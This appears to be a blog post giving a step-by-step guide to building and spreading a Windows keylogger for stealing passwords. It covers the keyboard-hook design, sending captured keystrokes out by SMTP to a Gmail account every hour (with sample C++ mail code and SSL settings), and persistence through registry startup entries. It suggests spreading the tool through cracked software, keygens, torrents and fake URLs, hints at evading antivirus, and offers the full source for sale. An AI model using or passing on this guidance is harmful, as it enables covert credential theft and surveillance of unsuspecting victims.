How many hours will it take for someone who has little C knowledge to write a custom keylogger?
What you need to know..
1. key hooks
2. SMTP Library/ FTP library (only if you have ftp hosts ) , so many off -the self libraries and packages available just google it.. The one I use is from
http://www.chilkatsoft.com/
3. Thats all its done ...
Then think about ,how do you want to distribute this keyloggers to outside world?..
Pendrive , mails , keygen , cracked software , fake url, torrents etc ......
no need to capture screen shots , no need to record skype chat , once you have the password , you can do anything ..
You cant separate hooks from OS ... be it Microsoft or apple or linux .. its part of the OS
Detailed Design
Keylogger source
Try it in your own PC , don't put yourself in trouble .. Thats my advice..
There is one best article from Dor Alon Published in Codeproject .. It works well with VC++ 6
It has 2 modules , one is a DLL , which is used to hooks the keys .. & another one is exe ..
Email /FTP forwarding
If you wish to store it as a file , do a file write operation & attach it to the mail..
If you dont like file operation , keep it in a bufffer string & paste it in the Email body.
Remember one thing, there are only few ports are allowed by most firewalls , so use SMTP.. Thats best .. He has used FTP , where will we get free FTP servers ?.. Some of them are available but don't know how it works , how safe it is to save our passwords?.
I recommend you to use SMTP
chilkatsoft has a SMTP library , as usual cracks softwares are there everywhere , what to do , we are poor we don't have money to buy these software.. The concept of money making is a flawed theory , so all is fair .. If God was fair to us , you & me won't be poor
now :)
void ChilkatSample(void)
{
// The mailman object is used for sending and receiving email.
CkMailMan mailman;
// Any string argument automatically begins the 30-day trial.
bool success;
success = mailman.UnlockComponent("30-day trial");
if (success != true) {
printf("%s\n",mailman.lastErrorText());
return;
}
// Set the SMTP server.
mailman.put_SmtpHost("smtp.chilkatsoft.com");
// Set the SMTP login/password (if required)
mailman.put_SmtpUsername("myUsername");
mailman.put_SmtpPassword("myPassword");
// Create a new email object
CkEmail email;
email.put_Subject("This is a test");
email.put_Body("This is a test");
email.put_From("Chilkat Support <support@chilkatsoft.com>");
email.AddTo("Chilkat Admin","admin@chilkatsoft.com");
// To add more recipients, call AddTo, AddCC, or AddBcc once per recipient.
// Call SendEmail to connect to the SMTP server and send.
// The connection (i.e. session) to the SMTP server remains
// open so that subsequent SendEmail calls may use the
// same connection.
success = mailman.SendEmail(email);
if (success != true) {
printf("%s\n",mailman.lastErrorText());
return;
}
// Some SMTP servers do not actually send the email until
// the connection is closed. In these cases, it is necessary to
// call CloseSmtpConnection for the mail to be sent.
// Most SMTP servers send the email immediately, and it is
// not required to close the connection. We'll close it here
// for the example:
success = mailman.CloseSmtpConnection();
if (success != true) {
printf("Connection to SMTP server not closed cleanly.\n");
}
printf("Mail Sent!\n");
}
Create one gmail account , add the above settings & few changes , because gmail works on ssl
Remember Gmail support SSL /TLS,
mailman.put_SmtpHost("smtp.gmail.com");
mailman.put_SmtpPort(465);
mailman.put_SmtpSsl(true);
The fuck what I don't like with chilkat/ MFC is , it is bulky , if you add this as a static library.. it takes huge space .. 2 MB :) ..
Now your key logger is integrated with smtp ... Put a timer & set the time to 1hour , every hour , it sends a message to you..
again google allows , 15 simultaneous mail access .. means at a time you can access a single gmail from 15 other places ...
Now your keylogger integrated with a SMTP server ...
Windows has several startup location , there is a tool called "Hijackthis" , it highlights all of them.. At the begining of the code , add a line to make the registry entry in the startup locations .. So that it can start itself .. done
Note :
I should talk about antivirus here... Most antivirus softwares just block every exe .. Some of them block based on historical signatures like checksum , name , date of creation , size etc ..if I explain how antivirus works , you will never use any antivirus in your life time.
Complete VC++6 source code is available 100$ ...